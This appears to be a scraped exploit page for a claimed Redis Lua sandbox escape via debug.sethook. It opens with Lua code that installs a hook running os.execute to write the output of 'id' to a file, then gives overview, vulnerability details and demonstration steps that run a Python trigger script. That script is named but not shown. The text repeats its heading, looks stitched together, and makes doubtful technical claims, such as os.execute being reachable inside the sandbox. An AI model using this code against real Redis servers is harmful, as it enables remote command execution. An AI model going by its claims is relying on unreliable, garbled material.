CVE-2026-22003 – Escape da Sandbox Lua do Redis via debug.sethook

Código do Programa (Lua + gatilho Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Escape da Sandbox Lua do Redis via debug.sethook

Visão Geral

A sandbox Lua do Redis não desabilita corretamente a função debug.sethook. Um atacante que possa executar scripts Lua pode instalar um hook que executa em um contexto privilegiado e escapar da sandbox para executar comandos arbitrários no sistema.

Detalhes da Vulnerabilidade

• Tipo: Escape de Sandbox
• Impacto: Execução Remota de Código no host Redis.
• Causa Raiz: A biblioteca de debug do ambiente Lua permanece acessível, permitindo hooks que podem chamar os.execute ou funções similares.

Demonstração do Exploit

1. Inicie um servidor Redis (com configuração padrão que permite EVAL).
2. Execute o exploit:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

The file /tmp/redis_escape is created, proving command execution.